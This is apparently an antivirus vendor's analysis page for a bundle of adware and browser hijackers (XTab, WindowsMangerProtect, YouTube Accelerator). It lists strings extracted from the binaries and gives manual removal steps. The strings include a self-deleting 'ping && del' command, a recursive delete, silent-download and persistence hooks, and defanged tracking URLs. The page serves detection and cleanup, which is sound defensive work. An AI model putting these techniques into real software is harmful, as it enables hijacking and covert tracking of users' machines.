WinHttpCloseHandle

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpOpen

WinHttpOpenRequest

WinHttpGetProxyForUrl

WinHttpCrackUrl

WinHttpReadData

WinHttpAddRequestHeaders

WINHTTP.dll

SensApi.dll

VERSION.dll

GetCPInfo

.?AVunsupported_os@Concurrency@@

.?AVinvalid_scheduler_policy_key@Concurrency@@

.?AVinvalid_operation@Concurrency@@

.?AVinvalid_oversubscribe_operation@Concurrency@@

.?AUITopologyExecutionResource@Concurrency@@

.?AVExecutionResource@details@Concurrency@@

.?AUIExecutionResource@Concurrency@@

.?AUIExecutionContext@Concurrency@@

zcÁ

.?AVCHttpClient@@

.?AVCTcpipSocket@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

6!676$717

,050'101

7"7&7*7.72767:7

1!1%1)1-11151

00S0d0

5 5$5(5,505

? ?<?@?`?

3 3@3`3|3

combase.dll

Akernel32.dll

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

USER32.DLL

portuguese-brazilian

Cadvapi32.dll

WindowsMangerProtect

SOFTWARE\supWindowsMangerProtect

xa.geoip

visit.heartbeat

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action0=%s&action1=visit&action2=%s&update0=ref,%s&update1=nation,%s&update2=language,%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s&update3=version,%s

Report Start.

C:\DoStartTEST.DAT

Report Heart beat.

ProtectWindowsManager.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

TypesSupported

%s is already installed

%s installed

%s failed to install. Error %d

%s is not installed

Could not remove %s. Error %d

WindowsProtectManger

?Advapi32.dll

/c ping 127.0.0.1 -n 2 > nul && del

"%s" %s

psapi.dll

Explorer.exe

update.exe

%s_%s

\\.\Phys

hXXp://

Software\Microsoft\Windows\CurrentVersion\Internet Settings

http=

..\Src\json\src\json_value.cpp

..\Src\json\src\json_reader.cpp

xxxx

WinHttpClient

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

hXXp://xa.xingcloud.com

..\Src\json\src\json_writer.cpp

Assertion failed: %s, file %s, line %d

WindowsMangerProtect Service

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe

WindowsMangerProtect service

SysTool PasSame LIMITED

Windows SysTool Service

20.0.0.1953

Windows SysTool.exe

ProtectService.exe_3952:

.text

`.rdata

@.data

.rsrc

@.reloc

GET %s%s%s HTTP/1.1

Host: %s

%sUser-Agent: Mozilla/4.0

POST %s HTTP/1.1

%sContent-Type: %s

User-Agent: Mozilla/4.0

Content-Length: %u

%*s %d %*s

%*[ ]%[^

?456789:;<=

!"#$%&'()* ,-./0123

file_url

E:\supsoft\SupSearchProtectV4\SearchProtect\Bin\Release\ProtectService.pdb

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegOpenKeyW

RegCloseKey

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

SHELL32.dll

MSVCP110.dll

InternetCrackUrlW

WININET.dll

WS2_32.dll

SHLWAPI.dll

MSVCR110.dll

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

_calloc_crt

__crtGetShowWindowMode

_amsg_exit

_wcmdln

__crtSetUnhandledExceptionFilter

WinHttpCloseHandle

WinHttpOpen

WinHttpSetTimeouts

WinHttpCrackUrl

WinHttpConnect

WinHttpOpenRequest

WinHttpSetOption

WinHttpAddRequestHeaders

WinHttpSendRequest

WinHttpGetIEProxyConfigForCurrentUser

WinHttpGetProxyForUrl

WinHttpWriteData

WinHttpReceiveResponse

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpReadData

WINHTTP.dll

SensApi.dll

VERSION.dll

PSAPI.DLL

USERENV.dll

.?AVCHttpClient@@

.?AVCTcpipSocket@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

2-2v2

hXXp://

Software\Microsoft\Windows\CurrentVersion\Internet Settings

http=

WinHttpClient

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

hXXp://xa.xingcloud.com

xxxx

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

UpDateProcess.exe

hXXp://VVV.theviilage.com/searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s

g{2EFFE99D-743D-44D0-BBF2-F9DDDEA2F92D}

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

Report HeartBeat

cmdshell.exe

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=visit.heartbeat.%s&update0=ref,%s&update1=nation,%s&update2=language,%s&update3=version,%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action0=xa.geoip&action1=visit&action2=install

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=uninstall

explorer.exe

Advapi32.dll

"%s" %s

psapi.dll

Explorer.exe

json_value.cpp

ljson_reader.cpp

ProtectSvc.exe

4.0.1.2105

HPNotify.exe_2544:

.text

`.rdata

@.data

.rsrc

@.reloc

<9%uo

wszUrl

strUrlTemp

hKEY

strSelUrl

strUrl

strConfUrlTemp

strDsUrl

strHpUrl

strCmdLine

tCPW

%UUUU

Vot.VotF%qt

e_GetBrowserCurrentHpUrl

e_GetBrowserCurrentDsUrl

URLDownloadToFileW

URLDownloadToFileW ret:0XX

Error : %d

inflate 1.1.3 Copyright 1995-1998 Mark Adler

1.1.3

monochrome

unsupported bit depth

`'\%D,3

Run-Time Check Failure #%d - %s

%s%s%p%s%ld%s%d%s

%s%s%s%s

RegOpenKeyExW

RegCloseKey

del /s/q %1\*.*

%suninstall.bat

E:\supsoft\SupSearchProtectV4\SearchProtect\bin\Release\HPNotify.pdb

KERNEL32.dll

GetKeyState

USER32.dll

GDI32.dll

ADVAPI32.dll

ShellExecuteW

ShellExecuteA

ShellExecuteExW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHDeleteKeyW

SHLWAPI.dll

MSVCP110.dll

MSVCR110.dll

_calloc_crt

_CRT_RTC_INITW

__crtGetShowWindowMode

_amsg_exit

_wcmdln

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

__crtSetUnhandledExceptionFilter

GdiplusShutdown

gdiplus.dll

IMM32.dll

DeleteUrlCacheEntryW

WININET.dll

COMCTL32.dll

GetProcessHeap

#*1892 $

%,3:;4-&

.?AVCActiveXEnum@DuiLib@@

.?AVCWebBrowserUI@DuiLib@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />

3?3

1-2}2

77t7

9":,:6:@:

12u2

: :$:(:,:0:

4 4$4(4,404

>$?(?,?0?

2 2$2(2,20242

0 1@1\1|1

hXXp://VVV.bing.com/

hXXp://VVV.yahoo.com/

hXXp://VVV.google.com/

%sconf

web/?type=dspp&

web/?type=dspp

hXXp://VVV.v9.com/

Itemd

BrowserAction.dll

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

\\.\Scsi%d:

UrlEdit

conf.xml

hXXp://v9.com/license_agreement.html

hXXp://v9.com/privacy_policy.html

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.show.%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.other.%s

%stmp%d.tmp

urlmon.dll

main.xml

explorer.exe

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

IeWatchDog.dll

BrowerWatchFF.dll

BrowerWatchCH.dll

Global\GUID(6D05BFEC-4307-4649-8963-962A24345DF4)

msimg32.dll

User32.dll

WM_KEYDOWN

WM_KEYUP

WM_SYSKEYDOWN

WM_SYSKEYUP

0xX

keyboard

msftedit.dll

password

%s%s%s

Correct password required

%s\%s

WebBrowser

transshadow

transshadow1

dest='%d,%d,%d,%d'

dest='%d,%d,%d,%d' source='%d,%d,%d,%d'

source='%d,%d,%d,%d' dest='%d,%d,%d,%d'

M-d-d

WebBrowserUI

errorUrl

{D27CDB6E-AE6D-11CF-96B8-444553540000}

user32.dll

MSPDB110.DLL

ADVAPI32.DLL

/c ping 127.0.0.1 -n 2 > nul && del /s/q

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

%Program Files% (x86)\XTab\skin\

SupHPNot.exe

4,0,1,1716

SupHPNty.exe

WebPlayer.exe_2420:

.text

`.rdata

@.data

.rsrc

@.reloc

8%u:j

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

operator

GetProcessWindowStation

KERNEL32.dll

EnumWindows

USER32.dll

GDI32.dll

RegOpenKeyExW

RegCreateKeyExW

RegDeleteKeyW

RegCloseKey

RegEnumKeyExW

RegQueryInfoKeyW

ADVAPI32.dll

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

COMCTL32.dll

urlmon.dll

GetProcessHeap

GetCPInfo

.?AVIKeyValueStorage@@

.?AVCWebPlayerEventsCallback@@

.?AVCComWebPlayer@@

.?AV?$CComCoClass@VCComWebPlayer@@$1?GUID_NULL@@3U_GUID@@B@ATL@@

.?AV?$IDispatchDynamicImpl@VCComWebPlayer@@@@

.?AV?$CComObject@VCComWebPlayer@@@ATL@@

.?AVCWebPlayerView@@

.?AV?$CWindowImpl@VCWebPlayerView@@V?$CAxWindowT@VCWindow@ATL@@@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@

.?AV?$CTrayIcon@VCWebPlayerView@@@@

.?AV?$IDispEventImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B$1?LIBID_SHDocVw@@3U3@B$00$0A@VCComTypeInfoHolder@ATL@@@ATL@@

.?AV?$IDispEventSimpleImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AV?$_IDispEventLocator@$00$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

zcÁ

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

2 3$3(3,3

getWebBrowser

hXXps://

hXXp://

Advapi32.dll

Software\WebPlayer\

javascript.debug

javascript.show_errors

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

icons\main.ico

WebPlayerEngine

WebPlayer\

scripts\config.xml

window.placement

icons\tray.ico

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

mscoree.dll

KERNEL32.DLL

WUSER32.DLL

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe

&About WebPlayer

WebPlayer

Replace%Select the entire document

Arrange Icons/Arrange windows so they overlap

Cascade Windows5Arrange windows as non-overlapping tiles

Tile Windows5Arrange windows as non-overlapping tiles

Tile Windows(Split the active window into panes

1.1.0.0

WebPlayer.exe

vlc.exe_4056:

.text

P`.data

.rdata

`@.bss

.idata

.rsrc

.gnu_deb

libgcj-12.dll

Can't connect to FTP server 0xlu

VLC/2.0.6

globalhotkeys,none

_matherr(): %s in %s(%g, %g) (retval=%g)

VirtualQuery failed for %d bytes at address %p

VirtualProtect failed with code 0x%x

Unknown pseudo relocation protocol version %d.

Unknown pseudo relocation bit size %d.

_acmdln

_amsg_exit

FtpPutFileW

libvlc.dll

KERNEL32.dll

msvcrt.dll

PSAPI.DLL

SHELL32.DLL

USER32.dll

WININET.DLL

<<<66:*/

.FDGS5$Yfll

Tx.AP:|

T.syy

L&Y^.sxx

.ZL9L

vlc.exe.dbg

VLC crash reporting

VLC media player just crashed. Do you want to send a bug report to the developers team?

VLC Crash Reporter

crash.videolan.org

/crashes-win32/dddddd

Report sent

Report sent correctly. Thanks a lot for the help.

Report sending failed

There was an error while transferring to the FTP server. Thanks a lot for the help anyway.

There was an error while connecting to the FTP server. Thanks a lot for the help anyway.

OS=%d.%d.%d.%d.%s

VLC=2.0.6 Twoflower

x at %px

%p|%s

kernel32.dll

C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\crashdump

vlc.exe

2.0.6

VLC media player 2.0.6

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):

%original file name%.exe:2984
ProtectService.exe:3952
ProtectService.exe:3988
YTAHelper.exe:3476
GLJC5A0.tmp:1200
ProtectWindowsManager.exe:3356
ProtectWindowsManager.exe:4048
F6BD.tmp:2588
Ktyvobm.exe:3204
XTab_Setup2121.exe:3624
b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-4.exe:2648
jsdrv.exe:3208
wpm_v20.0.0.1953_0302.exe:460
biclient.exe:1576
fa685f8d-234c-469b-ad75-56eb948fe4f7-4.exe:3608
ins_yta.exe:1056
QQBrowser.exe:1524
QQBrowser.exe:3536
testlsp.exe:3112
vlc-cache-gen.exe:3092
01783b5d-40d7-41d4-9ba0-a7e585dc1505-4.exe:3784
powershell.exe:2936
powershell.exe:3744
powershell.exe:3888
setup.exe:3624
HPNotify.exe:2544
Bxaze.exe:3380
vlc-2.0.6-win32.exe:3944
cmdshell.exe:2300
ShopperPro.exe:4004
GLBC522.tmp:2348
smt_istartsurf.exe:3324
appshat.exe:884
ins_shopperpro.exe:3096
Auajfs.exe:2484
regsvr32.exe:3108
regsvr32.exe:3588
regsvr32.exe:3568
regsvr32.exe:3632
regsvr32.exe:4088
regsvr32.exe:3160
lspinst.exe:3812
lspinst.exe:3716
webplayer_installer.exe:3804
YTAHEL~1.EXE:3388
appshat_generic.exe:4076
vlc.exe:4056
DCytaiesmt_smtyc_setup.exe:2044
DCytaiesmt_smtyc_setup.exe:2444
DCytaiesmt_smtyc_setup.exe:3520
DCytaiesmt_smtyc_setup.exe:3288
DCytaiesmt_smtyc_setup.exe:1004
DCytaiesmt_smtyc_setup.exe:3676
cscript.exe:3916
spbiu.exe:3408
spbiu.exe:960
wscript.exe:3684
YouTubeAcceleratorService.exe:1580
YouTubeAcceleratorService.exe:2512
YouTubeAcceleratorService.exe:2728
INS_SENSE.EXE:928
taskeng.exe:3764
ytaiesmt_smtyc_setup.exe:2464
INS_IWEBAR.EXE:3804
Delete the original Application file.
Delete or disinfect the following files created/modified by the Application:

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nscE86B.tmp (5695 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (91 bytes)
C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (49 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (536 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (876 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (269 bytes)
C:\ProgramData\YTAHelper\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
%Program Files% (x86)\YTAHelper\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)
C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\NSISEncrypt.dll (3392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\vbgcpdhzf.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\fa685f8d-234c-469b-ad75-56eb948fe4f7-4.dll (37727 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\xkvwnkajx.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\199495 (93025 bytes)
%Program Files% (x86)\iWebar\utils.exe (79170 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\kryenm.dll (3410 bytes)
%Program Files% (x86)\iWebar\fa685f8d-234c-469b-ad75-56eb948fe4f7-5.exe (7547 bytes)
%Program Files% (x86)\iWebar\fa685f8d-234c-469b-ad75-56eb948fe4f7-4.exe (9147 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\40280 (3509 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\gwulugj.dll (30 bytes)
%Program Files% (x86)\iWebar\fa685f8d-234c-469b-ad75-56eb948fe4f7.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst35D0.tmp (570635 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\qvvshx.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\exinfivx.dll (23 bytes)
%Program Files% (x86)\iWebar\Uninstall.exe (601 bytes)
C:\Windows\Tasks\fa685f8d-234c-469b-ad75-56eb948fe4f7-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\hcwuy.dll (8 bytes)
C:\Windows\Tasks\fa685f8d-234c-469b-ad75-56eb948fe4f7-5_user.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\lxfxjtoab.dll (31236 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ipgeoapi_com[1].json (40 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (17941 bytes)
%Program Files% (x86)\XTab\conf (1594 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1794 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\ver.txt (47 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7723.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (4 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5468 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1028.xpi (15 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (4 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (15946 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3112_testlsp.log_tmp (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2BF8.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2CCD.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (879 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3940_firefox.log_tmp (48 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2CAC.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2BD7.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2952.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2CCF.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3128.log_tmp (591 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3112.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3112_testlsp.log_tmp (989 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3324_smt_istartsurf.log_tmp (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2CE3.tmp (1 bytes)
